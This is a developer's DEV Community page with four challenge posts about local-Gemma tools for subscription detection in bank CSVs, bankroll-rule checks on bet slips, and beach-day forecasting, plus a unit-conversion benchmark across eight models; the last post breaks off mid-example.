DEV Community: Vinicius Pereira

Slow once, instant after: Gemma 4 names each bank descriptor one time on your laptop, and code checks every name

Vinicius Pereira — Tue, 20 Oct 2026 12:52:53 +0000

This is a submission for the Hacktoberfest Open-Source AI Challenge Week 3: Slow and Steady

What I Built

Once a month, a folder of bank exports turns into one line:

$ ghostsubs line examples/bank-a.csv
7 subscriptions, R$ 267,35/mo (other recurring: R$ 2.659,39/mo). Netflix went up 13% (R$ 39,90 -> R$ 44,90). New: HBO Max (trial R$ 1,99, now R$ 34,90 monthly). No charge from Globoplay since 2026-08-08 (cancelled?).

That one comes from a made-up Brazilian checking account. Every part of it is money that is easy to miss while scrolling.

The HBO Max trial cost R$ 1,99, and the plan it turned into costs R$ 34,90 a month. The question mark after Globoplay is on purpose, because a statement can't tell a cancellation from a failed card.

ghostsubs reads the CSV exports of a bank or card account and finds everything the account pays on repeat. There are no categories to set up and no budget to keep. You drop each export in a folder and read the line.

The hard part sits in one column. Banks print each charge as a descriptor, and the descriptor rarely says "Spotify" cleanly. It says PAYPAL *SPOTIFY 4025550134, EBN*SPOTIFY or SPOTIFY AB STOCKHOLM SE, sometimes all three for the same plan.

Gemma 4 reads each descriptor and says which business it is, and it does nothing else. Everything about time and money is plain code.

Demo

The four statements in the repo are made up, so their output can be published. Brand names are real, because telling them apart is the job, and they are all national or international brands. Every card number, phone number, landlord, lender, local shop, utility and person is invented.

Part of the report for the US card example, cut where it says ...:

$ ghostsubs report examples/card-b.csv --currency '$'
ghostsubs report: examples/card-b.csv
1483 charges and 27 credits, 2024-08-01 to 2026-10-14, counted from 2026-10-14
read as: dates mdy, decimal '.', charges type column
names: 108 descriptors (44 once codes are masked), 0 asked to gemma4:12b now, 44 from cache; 108 named and checked, 0 UNVERIFIED (cleaned up by code)

13 subscriptions, $191.96/mo (other recurring: $217.40/mo). Spotify went up 8% ($11.99 -> $12.99). Adobe Creative Cloud renews in 9 days: $239.88. New: Audible (trial $0.99, now $14.95 monthly). No charge from Max since 2026-08-15 (cancelled?).

SUBSCRIPTIONS (13, $191.96/mo)
  ...
  YouTube Premium          monthly             $13.99        $13.99/mo  next 2026-10-27 (in 13 days)
      subscription
      named from:
      GOOGLE *YouTubePremium g.co/helppay#  <- "YouTubePremium"
      GOOGLE *YouTube Premium  <- "YouTube Premium"
      YOUTUBEPREMIUM GOOGLE.COM CA  <- "YOUTUBEPREMIUM"
      26 charges: 2024-08-27 $13.99 · 2024-09-27 $13.99 · 2024-10-27 $13.99 · 2024-11-27 $13.99 ...
  ...

YouTube Premium was named from three descriptors, each shown with the exact quote Gemma pointed to. Code merged them into one plan because all three resolved to the same checked name.

Also look at 0 asked to gemma4:12b now, 44 from cache, which is where the slow and steady part shows.

Code

vinimabreu / ghostsubs

Finds recurring charges in bank and card CSV exports. Gemma 4 runs locally to name each descriptor, and code checks every name.

ghostsubs

Drop the CSV exports of a bank or card account into a folder. Once a month you get one line about everything the account pays on repeat:

$ ghostsubs line examples/bank-a.csv
7 subscriptions, R$ 267,35/mo (other recurring: R$ 2.659,39/mo). Netflix went up 13% (R$ 39,90 -> R$ 44,90). New: HBO Max (trial R$ 1,99, now R$ 34,90 monthly). No charge from Globoplay since 2026-08-08 (cancelled?)

The line reports a price that went up, a trial that turned into a paid plan, a yearly renewal that is close, and a service that stopped charging. You don't track anything yourself, so the money you stop leaking costs you no effort.

A bank statement is private, so the model runs on your own laptop: Gemma 4 (12B) through Ollama, offline and free. Nothing leaves the machine unless you add --ntfy (the one line, to the ntfy server you choose) or --allow-remote-model…

View on GitHub

Python 3.11 or newer, with no Python dependencies. The names need Ollama and the model:

ollama pull gemma4:12b
pipx install git+https://github.com/vinimabreu/ghostsubs

Without Ollama, --no-model runs on code cleanup alone. The tests replay the answers gemma4:12b gave for the example statements, so they run with no model and no network.

How I Built It

One job for the model

Each new descriptor goes to Gemma 4 12B through Ollama on 127.0.0.1, at temperature 0, with a JSON schema. The answer has three fields: merchant, evidence (the piece of the descriptor that names it) and kind.

The kind is subscription, bill, loan_or_rent or other. It decides which of two totals a charge adds to, and never touches an amount.

Code in recur.py decides which charges repeat and when the next one is due, so Gemma never writes a number that reaches you.

Every name is checked against its descriptor

naming.py keeps a name only when the quote is in the descriptor, character for character. Every word of the name must also be spelled out in that quote. A payment processor in front of the real merchant is refused, so for PAYPAL *SPOTIFY an answer of PayPal fails.

A word can be spelled out glued to others (YouTubePremium) or cut short (DISNEY PLU). Either way it has to keep three quarters of its length and start at the beginning of a word. So APPLE.COM does not give Applebees.

A word can also come from two closed tables in the code. One holds bank abbreviations like MGMT and IMOB, and the other holds five brand abbreviations like AMZN and MSFT.

The rows below come from the measurement file, and they show where the model earns its place:

descriptor	code cleanup alone	Gemma 4 + check
`PADDLE.NET* N8N CLOUD1`	Paddle	n8n
`HLU*HULU 8005550163-U`	Hlu Hulu U	Hulu
`MSFT *E0300ABCDE`	Msft	Microsoft
`AMZN Mktp US*2K4L19ZX0`	Amzn Mktp	Amazon Marketplace
`SPOTIFY AB STOCKHOLM SE`	Spotify Ab	Spotify

The last row matters because code cleanup gives Spotify for the other two Spotify descriptors and Spotify Ab for this one. So one plan comes out as two, one that "stopped" in May and one that "started" in June.

The check also catches wrong answers, like PAGTO FATURA CARTAO in the example statements, a credit card bill paid from a checking account. PAGTO is Portuguese bank shorthand for "payment".

Gemma read PAG as the PagSeguro processor, and PagSeguro is not spelled out in the quote, so the check refused it. The report shows the cleaned descriptor instead, marked UNVERIFIED.

Slow the first time, instant after

On the four example statements, the first run asked Gemma 100 questions and took 101.78 seconds. The second run took 0.57 seconds, against 0.53 seconds with no model at all.

statement	first run	questions to the model	from the cache	no model
bank-a.csv	29.78 s	28	0.11 s	0.08 s
card-b.csv	43.75 s	44	0.30 s	0.30 s
export-c.csv	17.10 s	17	0.08 s	0.08 s
bank-d.csv	11.15 s	11	0.08 s	0.07 s

The first-run times leave out loading the model into memory, because a warm-up call ran before them.

Every answer is cached in ~/.cache/ghostsubs/, one file per model and prompt version, readable only by you. The cache key ignores case, spacing, digits and reference codes. So AMZN Mktp US*2K4L19ZX0 and next month's AMZN Mktp US*RT5Y21QX8 are one question.

That is why card-b has 108 descriptors and only 44 questions. A new month's export only sends the model what the cache hasn't seen, like a merchant you never paid before.

Finding what recurs

Code groups the charges by checked merchant and picks the cadence its median interval falls in.

My first version of these rules reported nothing extra on the four example statements. Then it ran on 40 statements from seeds 1 to 10 of the same generator, which plant the same plans with other dates, amounts, posting delays and decoys.

It reported 17 series nobody had planted, in 9 of the 10 seeds. Fourteen were two similar charges a year apart at a merchant paid often, like rides or groceries, read as a yearly plan.

Two more were runs of equal cash withdrawals read as weekly, and one was an electricity bill. Fifteen of the 17 were still active, so they sat inside the total.

After that I made the rules stricter. A series now has to land within a few days of one fixed calendar, and own at least half the charges under its descriptor. A yearly pair has to agree within 1%, and a weekly plan needs 6 charges.

A second review found real plans those rules had dropped. A plan billed every 4 weeks drifts off any monthly calendar, so it now counts once 5 charges land within 4 days of one fixed spacing. A charge billed twice now sits aside as "charged twice?" instead of breaking the plan around it.

The same 420 planted series, before and after:

10 other seeds	previous version	this version
series reported	437	420
right schedule, amount and name	370	370
right schedule and amount, other name	50	50
missed	0	0
reported but not planted	17	0

The stricter rules miss a plan billed under the same descriptor as frequent purchases at other amounts, because that series doesn't own its descriptor. They also count a weekly plan only once it has 6 charges.

Measured

Everything below comes from runs of scripts/measure.py and scripts/measure_seeds.py on 19 October 2026. They ran gemma4:12b (digest 6114515d63c1) on an Apple Silicon laptop, and the raw JSON with every answer is in the repo.

Names, on 159 made-up descriptors, three runs with no cache:

	Gemma 4 + check	code cleanup only
name shown is right	148 of 159	99 of 159
passed the check, right but cut short	2
passed the check and wrong	6
refused by the check	3
kind label right	141

The three runs gave character-identical answers for all 159 descriptors.

End to end, on the 42 recurring series planted in the four example statements:

	with Gemma 4	code cleanup only
series reported	42	45
right schedule, amount and name	37	24
right schedule and amount, other name	5	18
missed	0	0
reported but not planted	0	3

Without the model, the schedules are found just as well, since that part is code, but the names split plans in two. The 3 extra series are halves of Netflix, Spotify and YouTube Premium.

Worse, three plans still being paid were reported as stopped. A false "cancelled?" is the mistake that makes someone stop trusting the line. Merging those descriptors is what the model is for.

Where it is weak

These numbers come from my own made-up data, and part of that data shaped the code. I wrote the prompt and the abbreviation table while looking at the model's answers for the example statements.

Those statements hold 71 of the 159 descriptors, and 65 of those names were right, against 83 of the other 88. The seed runs reuse the same descriptors, and I wrote the stricter rules after seeing seed runs like them, so nothing here is a held-out benchmark.

I widened the accepted names twice after seeing model output, only with correct full names I had left out. After a review I also removed accepted names that kept a bank's label, so Aluguel Imob Horizonte ("aluguel" means rent) now counts as wrong.

Six wrong names passed the check, because their words really are in the descriptor. WHOLEFDS MKT came back unexpanded twice, and 99Ride stood in for the 99 app. The check proves a name is grounded in the descriptor, and these six show where that proof stops.

The check costs something too. It refused 3 right answers, like Kindle Unlimited for Kindle Unltd*AB12CD, since Unltd doesn't spell out Unlimited, and the cleaned descriptor shown in their place was wrong each time.

The kind was wrong on 18 of 159, and code can't check it. Five were subscriptions labeled other, including Max from its HELP.MAX.COM descriptor, and ten were bills labeled other.

A wrong kind moves a charge to the other total. In the end-to-end run, 3 of the 37 sat in the wrong one.

Two plans at the same price from the same merchant on the same cadence are not found at all, such as two accounts of one service. Each one's charges look like the same price showing up off the other's schedule.

Why Does Open Innovation Matter?

A statement shows where you shop and when you get paid. It is about the most private file a person has. I don't want it on someone else's server just to find a forgotten trial.

With open weights, the model runs on the laptop that already holds the file. The model client refuses any Ollama host that is not loopback, unless you pass --allow-remote-model. It ignores proxy settings and follows no redirects, so neither can carry a descriptor elsewhere.

A local Ollama can also serve cloud models, which it forwards off the machine. ghostsubs refuses those too, by a name ending in -cloud or :cloud and by the remote_host field Ollama reports for them.

With those defaults, the only thing that can leave the machine is the line, and only when you add --ntfy. It pushes the line to your phone through ntfy, the open-source push service. The server is ntfy.sh, or your own with --ntfy-server.

The line holds merchant names and amounts, and a name can be a person you pay by transfer. So read one line before you turn the push on. Topic names on ntfy.sh are public, which is why the topic should be random.

And --model swaps Gemma for any other local model Ollama serves, while scripts/measure.py --model scores it on the same ground truth.

The Lazy Payoff

The human side of the routine is one export a month, dropped in a folder. watch reads every CSV there, and a row repeated across overlapping exports counts once.

A crontab line runs it on the first day of each month. pipx puts the command in ~/.local/bin, and openssl rand -hex 16 makes a topic name:

0 9 1 * * $HOME/.local/bin/ghostsubs watch $HOME/Statements --ntfy <your-random-topic>

It prints the line only when something new shows up, so a quiet month sends nothing. With too little history, the line says a monthly plan needs 3 charges and asks for more months.

A file in the folder that isn't a statement is skipped and named. When nothing can be read, or Ollama is down, the phone gets "ghostsubs could not run" with the reason, once, so a broken setup doesn't stay silent.

A paid plan can't count as recurring until it has charged three times, so the line warns earlier about trials. It speaks up once a small first charge is followed by a full one. A new shop starts the same way, so this only happens at a merchant Gemma labels a subscription. Here is the same example counted from an earlier day:

$ ghostsubs line examples/bank-a.csv --today 2026-08-20
7 subscriptions, R$ 250,35/mo (other recurring: R$ 2.659,39/mo). Possible trial turned paid: HBO Max (R$ 1,99, then R$ 34,90 on 2026-07-17).

The work it removes is reading statements line by line. The US card example holds 1483 charges and 27 credits over 26 months, and 13 subscriptions are buried in them.

The machine gets to be lazy too, since Gemma is asked about each descriptor once. A month with no new ones costs about what plain code costs. For card-b, the first run took 43.75 seconds and the second took 0.30.

Every run in this post is on made-up statements from the repo, so the payoff I can show is the measured one.

Prize Categories

Best Use of Gemma: Gemma 4 12B, running locally through Ollama, names every descriptor, and code checks each name before it is used. Gemma never writes a number that reaches the user. The repo measures it against code cleanup alone on 159 descriptors and 42 planted series, plus 420 series from ten other seeds.

Bet or skip: Gemma reads the bet slip on my laptop, and the slip's own arithmetic checks Gemma

Vinicius Pereira — Tue, 13 Oct 2026 12:40:05 +0000

This is a submission for the Hacktoberfest Open-Source AI Challenge Week 2: Side Hustle

What I Built

For a lot of people, betting is the side hustle. The ones who last at it tend to say the same thing: write the money rules down and keep them. Never more than a small share of the bankroll on one bet. No six-leg accumulators. Stay out of markets where the house keeps too much. The rules are easy. Keeping them at the moment of placing a bet is the hard part, and the numbers are where it goes wrong without a sound: odds of 17.47 read as 1747, a 14% margin that looks like any other price, a stake that was 12% of the bankroll. Rules don't make betting pay, since the house margin is in every price. What they do is cap the damage, and only if they are applied every time.

betorskip takes a bet slip (pasted text or a screenshot) and gives one word back:

$ betorskip examples/slips/thin-market.txt --rules examples/rules.toml
SKIP · the house keeps 14.4% on this market (your max 8%)
Redcliff Rangers v Stonebridge · Match Result
bet      single · Redcliff Rangers @ 1.72 · stake £10.00 · returns £17.20
market   1.72 / 3.20 / 4.00 · house margin 14.4%
fair     power 1.87 (53.5%) · proportional 1.97 (50.8%)

SKIP names the rule the bet breaks.
CHECK means something a rule needs could not be confirmed, or the slip disagrees with itself, so you look before placing anything.
BET means no rule is broken. It says what share of your bankroll the stake is, how often the bet has to win to break even and, when the whole market is on the page, what the house keeps.

It never says a bet will win. Gemma 4 reads the slip on your own machine, code checks every number against the slip and against the slip's own arithmetic, and your rules, in a TOML file, decide. It is for someone who already bets with rules and wants them applied to every slip, without sending their slips, their bankroll or their history to anyone. The one who would pay for it is the bettor who already pays for a bet tracker or an odds tool and still checks each slip by eye before placing it.

Demo

Fractional odds, with the whole market on the page:

$ betorskip examples/slips/uk-fractional.txt --rules examples/rules.toml
BET · stake 4.0% of your bankroll · break-even 44.4%
Ormsdale Athletic v Millbrook United · Full Time Result
bet      single · Ormsdale Athletic @ 5/4 (2.25) · stake £20.00 · returns £45.00
market   5/4 / 12/5 / 11/5 · house margin 5.1%, if these are all the outcomes
fair     power 2.34 (42.7%) · proportional 2.36 (42.3%)

A stake the example rules don't allow (the made-up bettor has a 500 bankroll and a 5% cap; first lines only):

$ betorskip examples/slips/big-stake.txt --rules examples/rules.toml
SKIP · stake £60.00 is 12.0% of your £500.00 bankroll (your max 5%)

And one it won't decide for you:

$ betorskip examples/slips/odds-changed.txt --rules examples/rules.toml
CHECK · the slip says the price moved: "Odds changed 1.95 → 1.80"
Larkhill v Kingsport City · Match Result
bet      single · Kingsport City @ 1.80 · stake £20.00 · returns £36.00

Every slip, team and player in the repo is made up.

Code

vinimabreu / betorskip

Paste a bet slip, get BET, SKIP or CHECK: read by a local Gemma, every number checked against the slip and its own arithmetic, decided by your bankroll rules.

betorskip

Paste a bet slip, or point at a screenshot of one, and get one word back: BET, SKIP or CHECK. A model on your own machine reads the slip. Code checks every number it read against the slip and against the slip's own arithmetic, then applies your bankroll rules.

It never says a bet will win. It reads the slip right and holds you to the rules you wrote down.

$ betorskip examples/slips/thin-market.txt --rules examples/rules.toml
SKIP · the house keeps 14.4% on this market (your max 8%)
Redcliff Rangers v Stonebridge · Match Result
bet      single · Redcliff Rangers @ 1.72 · stake £10.00 · returns £17.20
market   1.72 / 3.20 / 4.00 · house margin 14.4%
fair     power 1.87 (53.5%) · proportional 1.97 (50.8%)

People who bet seriously write their rules down: never more than a small share of the bankroll on one bet, no six-leg…

View on GitHub

Python, no dependencies, about 1,100 lines plus 137 tests. It needs Ollama with gemma4:12b, and Tesseract for screenshots.

How I Built It

The model reads, with receipts

The slip goes to Gemma 4 12B through Ollama on 127.0.0.1, with a JSON schema. For every fact, the model returns the value and the exact words it came from: a stake with "Stake £20.00", a price with "Ormsdale Athletic 5/4". Odds come back exactly as printed (2.10, 2,10, 5/4, +120) and code turns them into decimal odds. The prompt has no example numbers in it on purpose, so the model has no default to reach for when it can't see.

Code keeps only what the slip backs up

A fact survives only if its quote is really on the slip, its number is really in the quote, and the right label sits next to it. Odds also have to be in their quote as printed, and not be an amount of money: a 10.00 that only appears on the slip as £10.00 is the stake, not a price.

The first slip that tested this was an American parlay. The slip prints "Risk $20.00" and "To Win $64.00". Gemma returned both, and also a returns of 84 with the quote "$84.00". It had added the stake to the profit on its own. The prompt says never to compute one amount from another, and it did anyway. $84.00 is not on the slip, so it is dropped, and the arithmetic below runs on the $64.00 the slip prints.

The slip checks itself

A slip carries its own arithmetic: stake times odds is the return it prints, the legs multiply to the total odds, and a "6-Fold" has six legs. Code checks all three, and that turned out to be the most useful check in the project, because it catches the errors where every quote is fine.

A lost decimal point. On a low-resolution screenshot, Tesseract read "Total odds 17.47" as "Total odds 1747". Quote, number and label all pass. But £5.00 at 1747 is not the £87.33 the slip prints, and £5.00 at 17.47 is, give or take the rounding, so the point goes back, with a note saying so.
Misread legs. On the same slip, 1.62 came out as 1.82, 1.80 as 4.80 and 1.30 as 4.30. Each one looks like a price. Multiplied, the legs give 173.08 instead of 17.47, and the slip is flagged.
"Winnings" that include the stake. Slips word this differently. If the number matches stake times odds it is the return, and if it matches the profit it is the profit; the arithmetic decides, not the label.

When the slip disagrees with itself, the numbers it disputes can't be used to SKIP. Without that rule, one screenshot that dropped the minus of "-110" was skipped as "odds 242.00 are above your max": 110 as decimal odds, times the other leg's 2.20.

Screenshots: text you can check

There are two ways to read a screenshot: Gemma reads the image, or Tesseract turns it into text and Gemma reads the text. I rendered the twelve made-up slips as app-style screenshots, in four styles and two resolutions, and measured both.

Reading the pixels is often right, and it can't be checked. On a small screenshot of a slip with a £4.00 stake and £36.00 returns, Gemma read £40.00 and £360.00, and even the arithmetic agrees: 40 at 9.00 is 360. Nothing inside that reading says it is wrong. So a screenshot goes through Tesseract first, and every quote is checked against text the model did not write.

Tesseract fails in its own ways, all found by measuring:

Its default layout analysis reads a slip as two columns, every label first and every amount after, so "Stake" ends up far from "£10.00" and the label check fails. Reading the slip as one column (--psm 4) took the clean screenshots from 19 to 24 correct verdicts out of 24.
It reads "returns" as "retums" or "tums", the plus of American odds as #, and drops minus signs.
When a line comes out garbled, Gemma tidies it. From "Redcliff Rangers 472" and a Stonebridge with no price, it quoted "Redcliff Rangers 1.72 Draw 3.20 Stonebridge 4.72". That line is not in the text, so the quote check refuses it.

The fixes above were made on one batch of screenshots. Then I rendered the same slips in two styles I had not used and ran a small-JPEG batch once, made one more fix from what it showed (the margin rule now also stands down when the pick's odds are disputed), and ran a last batch once. Nothing was tuned on that last one, and the final code gives the same 24 verdicts on it:

screenshots	right	CHECK	wrong
new styles, small JPEG	10	13	1 SKIP that should have been BET
new styles, 2x PNG, like a phone screenshot	17	6	1 BET that should have been SKIP

The wrong BET is the number to keep in mind. Tesseract dropped the "Draw 3.20" line of a market where the house keeps 14.4%; with two prices out of three there is no margin to compute, so the margin rule had nothing to apply to and the slip passed. It now says "house margin unknown" when that happens, but it is still a BET. Worse, in that batch Tesseract read a whole market on only 2 of the 24 screenshots, neither of them a BET: none of the seven BETs had the margin rule applied, and five were right only because the made-up markets sit under 8%. A price you did not pick, read wrong, would change the margin with nothing on the slip to catch it. On the small JPEGs most slips came back CHECK: that is the tool noticing text it can't trust, not reading it right.

Update, 14 October: a reader pointed out that one bookmaker's prices for one market can't add up to under 100%. A single whose market does now comes back CHECK, which turns the wrong BET above into a CHECK, at the cost of seven right BETs that also come back CHECK. The fair odds are now shown two ways, with the power and the proportional devig. The re-scored table is in the README.

The rules are a file

[bankroll]
bankroll = 500
max_stake_pct = 5

[odds]
min_odds = 1.30
max_odds = 6.0
max_legs = 3
max_margin_pct = 8

[markets]
never = ["correct score", "first goalscorer", "bet builder"]

An unknown setting, a setting given twice, a wrong type, a negative or non-finite number, or an empty word in never is refused, so a typo can't silently switch a rule off. --bankroll overrides the bankroll for today, and --prob 52% turns your own estimate into expected value and a Kelly stake, never above your max stake. The probability is yours; the tool only does the arithmetic.

Tested

Each of the twelve made-up slips, one for each rule or odds format, went through Gemma 4 12B three times: 36 of 36 runs gave the expected verdict, with the same first line every time, at a median of 5.5 seconds a slip on my laptop. Twelve slips is a small set: it says the reading is stable on clean text, not that it is right on every slip.

The 137 tests replay recorded answers, for the twelve slips and for four low-resolution screenshots, so they run in CI without a model. Each check has the failure that motivated it as a test: the $84.00, the lost decimal point, the misread legs, the lost minus sign, retums, a single quoted twice, a market misread three times the same way.

Why Does Open Innovation Matter?

It runs on every slip and costs nothing per slip. A check you have to pay for per call is a check you skip on the small bets, which are most of them.

What it reads stays with you. A bankroll and a betting history are about as private as numbers get. The model client refuses any Ollama host that is not loopback and ignores proxy settings, so nothing leaves the machine by accident.

You can see and change every step. The prompt is a string in the repo, the schema is a dict, the OCR mode is one flag. When Tesseract's layout analysis split labels from amounts, I could measure it and change one argument. When Gemma tidied a garbled line into a quote that didn't exist, the fix was a check in plain code, not a request to a vendor.

Prize Categories

Best Use of Gemma: Gemma 4 12B, running locally through Ollama, reads every slip and returns each fact with the words it came from. The repo also measures where Gemma reading screenshots directly goes wrong in ways nothing can check, and why the tool gives it OCR text and the slip's own arithmetic instead.

Keep the number you wrote: 40 beach plans, 8 models, and where the knots went

Vinicius Pereira — Wed, 07 Oct 2026 19:26:14 +0000

This is a submission for the Kaggle Benchmarking Challenge

What I Benchmarked

Last week I built dapraia, a small tool that tells me the night before whether tomorrow is a beach day. You describe how you like it in one sentence, and a model on my laptop turns that sentence into rules a forecast can be checked against: wind under 15 km/h, start after 6, low tide.

The worst bug I hit there was not a crash. "Kitesurf com vento entre 15 e 25 nós" (wind between 15 and 25 knots) came back as 15 to 25 km/h. The rule looked right, it passed my first check, and it would have picked days with half the wind the person asked for. A wrong number that looks right is the error nobody reports, because nobody notices it.

So this benchmark measures exactly that: when a model turns a sentence into rules, does it keep the number, the unit and the direction the person wrote?

There are 40 sentences, 30 in Portuguese and 10 in English, in seven groups:

speed units: knots, mph and m/s that have to become km/h
other units: feet, Fahrenheit, "1 metro e meio" (a metre and a half)
direction: "nunca acima de 15", "evito vento acima de 30", "20 km/h ou mais", where a maximum has to stay a maximum
time of day: "7 e meia", "5 da tarde", "12 da noite", "after 5:30pm"
decoys: numbers that are not limits ("vôlei 2x2 perto do Posto 6", "corrida com 4 amigos") and a bare "até 12" with no unit
durations: "40 minutos", "uma hora e meia depois da maré baixa"
plain: the easy ones, as a floor

Each sentence has a hand-checked answer key: the field, the value and a tolerance (1 km/h or 1 °C after a conversion, 0.05 otherwise). A sentence scores only when every expected rule is there with the right value. Every miss gets a label: unit_or_value (right field, wrong number), missing, flipped (the value landed in the opposite field, so a maximum became a minimum) or decoy (a number that was never a limit became a rule). The score is the share of sentences that came back fully right.

The benchmark has two tasks with the same 40 sentences. In keep_the_number_you_wrote the prompt lists only the field names, so the unit lives in the name (wind_max_kmh, water_min_c). In keep_the_number_units_spelled_out the prompt says what each field means, its unit and its range, and adds one line: convert any other unit into the field's unit. The pair asks how much of the reading is the model and how much is the instruction.

Models Tested

Eight, each for a reason:

Gemma 4 26B A4B and Gemma 4 31B, the closest Kaggle has to the Gemma 4 12B that runs dapraia on my laptop.
Gemini 3.5 Flash-Lite, GPT-5.4 nano, Claude Haiku 4.5 and gpt-oss-20b, the small, cheap models a tool like this would actually call every night.
Gemini 3.7 Flash and Claude Sonnet 5.5, as a reference for what a stronger model does with the same words.

I also tried qwen3-next-80b, which answered 24 of the 40 in thirty minutes, and gpt-oss-120b, which timed out in the same run. I left both out rather than publish partial rows.

Findings

Model	Units only in the field name	Units spelled out
Claude Haiku 4.5	100%	100%
Gemma 4 31B	100%	100%
Gemma 4 26B A4B	100%	100%
Gemini 3.7 Flash	100%	100%
Claude Sonnet 5.5	100%	100%
Gemini 3.5 Flash-Lite	97.5%	100%
gpt-oss-20b	95.0%	97.5%
GPT-5.4 nano	95.0%	97.5%

1. With the units spelled out, the task is close to solved. Six of the eight models got all 40 right, and the other two missed one sentence each. The instruction that closed the gap is short: the unit of each field, the range of the clock (0 to 24, so 7.5 is 7:30), and "convert any other unit into the field's unit".

2. Without it, the misses are units and clock words. The leaderboard shows one score per model, so the detail comes from my notebook runs of the same 40 sentences the same afternoon (Claude Haiku 4.5 was not in those). Every miss on the bare prompt:

Gemma 4 26B read "entre 15 e 25 nós" as 15 and 25 km/h, and "gusts under 20 kt" as 20 km/h. It is the same error my local Gemma 12B made in dapraia.
gpt-oss-20b turned 82 °F into 25.6 °C (it is 27.8) and "até as 12 da noite" (until midnight) into hour 0. The bare prompt never says the clock runs to 24, so midnight as 0 is a fair reading that still breaks the rule: a window that ends at 0 never opens.
GPT-5.4 nano kept "rajadas até 25 nós" as 25 km/h, dropped "1 metro e meio", and turned "vento até 12 no fim de semana" (wind up to 12 on the weekend) into a 999 km/h wind limit plus a midnight-to-noon window nobody asked for.

In those runs no model flipped a maximum into a minimum, and none turned "2x2", "Posto 6" or "4 amigos" into a rule. I did see a flip in dapraia, but my own code caused it: a phrase list misread "evito vento acima de 30 km/h" (I avoid wind above 30), told Gemma its correct maximum was wrong, and Gemma obeyed. Given only the sentence, every model here kept the direction.

3. One run cannot rank the top. Gemma 4 26B scored 38 of 40 on the bare prompt in my notebook and 40 of 40 on the leaderboard run later the same afternoon. Flash-Lite went the other way, 40 and then 39. At 40 sentences and one run, a one-sentence gap between two models is noise. What repeated was the kind of sentence that failed: knots, Fahrenheit, "metro e meio" and midnight. With the units spelled out, gpt-oss-20b and nano missed one sentence in both runs. In my notebook, nano's was "vento de no máximo 5 m/s" (wind of at most 5 m/s), which came back as a 5 metre wave limit.

What surprised me is how cheap the fix is compared with what I built. In dapraia I wrote checks that read the unit after every number and reject a rule whose quote says something else. The benchmark says a few lines of instruction put six of the eight models at 40 of 40 and the other two at 39. It also says why the check still has to stay: the runs vary, and the one run that reads knots as km/h is the one that picks the wrong day. The instruction moves the average; the check catches the run that still goes wrong.

What I would measure next:

five runs per model on each task, to report a spread instead of one number
harder sentences: comma decimals ("1,5 m"), the Beaufort scale, "meia-noite", two units in one phrase
the check itself: feed every miss above to dapraia's quote check and count how many it stops before a person ever sees the rule

My Benchmark

The benchmark, with both tasks and the leaderboard: Keep the number you wrote

The two tasks, each with the 40 sentences, the answer key, the grader and its prompt in the code:

keep_the_number_you_wrote, units only in the field name
keep_the_number_units_spelled_out, units spelled out

The answer key is plain Python in the task code, so a new sentence is one line.

Dá praia amanhã? One line the night before, picked by code and explained by Gemma 4 on my laptop

Vinicius Pereira — Wed, 07 Oct 2026 00:27:42 +0000

This is a submission for the Hacktoberfest Open-Source AI Challenge Week 1: Touch Grass

What I Built

Last week I built a tool that reads what my coding agents ran in the terminal. Between midnight and mid-afternoon of one working day, it counted 548 commands. This week's theme is Touch Grass, and that number made it personal.

I live in Niterói, across the bay from Rio. Here, the question the night before is "dá praia amanhã?": is tomorrow a beach day? The honest answer depends on things nobody checks at 10 pm: will the wind stay down until nine, does the rain chance climb after lunch, when is low tide, and is the sand wide and firm at the hour you can actually go.

dapraia answers that question in one line:

Dá praia amanhã (qua 07/10): Piratininga, das 6h às 9h. A maré baixa às 7h10 e o vento está bem fraco, então o céu encoberto não atrapalha nada.

Beach day tomorrow (Wed 07/10): Piratininga, 6 to 9 am. Low tide at 7:10 and the wind is very light, so the overcast sky won't get in the way.

You use the screen three times, and each time is short:

Once, to say how you like it, in your own words: "futevôlei de manhã cedo, pouco vento, sem chuva, e maré baixa pra areia ficar firme. Pelo menos 2 horas." (Footvolley early in the morning, little wind, no rain, and low tide so the sand is firm. At least two hours.)
Every evening, one line, in the terminal or as a push notification on your phone.
After you come back, one sentence about how it went. The plan adjusts, if you agree.

It is for anyone whose time outside depends on wind, rain and tide: footvolley and beach volleyball, a run on the hard sand, a swim, surf, a walk with the dog at low tide. I built it for the beach first because that is where I live.

Demo

Here is a real run, on a real forecast for three beaches in Niterói recorded on October 6, so anyone can reproduce it from the repo. --why shows the hours behind the pick:

$ dapraia --why
Dá praia amanhã (qua 07/10): Piratininga, das 6h às 9h. A maré baixa às 7h10 e o vento está bem fraco, então o céu encoberto não atrapalha nada.

Piratininga · amanhã (qua 07/10) · onda e maré do ponto do modelo a 4,5 km
  hora      vento km/h     chuva %   h da maré
  6h    ✓           3           8         0,7 ◀
  7h    ✓           4           5         0,3 ◀
  8h    ✓           4           3         1,3 ◀
  maré baixa às 7h10, maré cheia às 13h10, maré baixa às 19h30 (maré baixa: modelo +60 min, do seu plano)
Previsão: Open-Meteo.com (CC BY 4.0). Onda e maré vêm de um modelo com grade de ~8 km: servem pra planejar, não pra navegar.

Every hour from 6 to 9 passes: 3 to 4 km/h of wind against a limit of 15, a rain chance under 10%, and low tide at 7:10, inside the two hours either side that the plan allows. The sky is 95% cloud, and the sentence says so instead of calling it a great day; that took a fix of its own. The window ends at 9 because that is when the plan says the morning ends. The "+60 min" is a correction I measured against the Brazilian Navy's tide table, for low tides only; more on that below.

Code

vinimabreu / dapraia

The hour to go outside tomorrow, in one line: an open forecast, your own words read by Gemma 4 on your machine, and a window picked by plain code.

dapraia

"Dá praia?" is what people in Rio and Niterói ask the night before: is tomorrow a beach day? dapraia answers it in one line. It picks the hour to go out from an open forecast and from how you like it, said in your own words, and a model running on your own machine explains the pick.

Dá praia amanhã (qua 07/10): Piratininga, das 6h às 9h. A maré baixa às 7h10 e o vento está bem fraco, então o céu encoberto não atrapalha nada

Beach day tomorrow (Wed 07/10): Piratininga, 6 to 9 am. Low tide at 7:10 and the wind is very light, so the overcast sky won't get in the way.

That is the whole screen time. You read one line in the evening (or get it as a push notification) and go.

How it works

The work is split. A model reads and writes words…

View on GitHub

How I Built It

dapraia is Python with no dependencies of its own. The model is Gemma 4 12B, served by Ollama on 127.0.0.1. The forecast is Open-Meteo, and push notifications go through ntfy.

The design rule is the one I kept from last week: the model reads and writes words; plain code decides. Gemma never decides whether you go. It turns your words into rules, and it explains a decision the code already made. Both outputs are checked before you see them.

Reading how you like it. Gemma gets your sentence and a JSON schema (Ollama's structured outputs) and returns rules: a field, a value, and a quote. This is what it read from the sentence above:

Entendi assim:
  atividade    futevôlei                            ← "futevôlei"
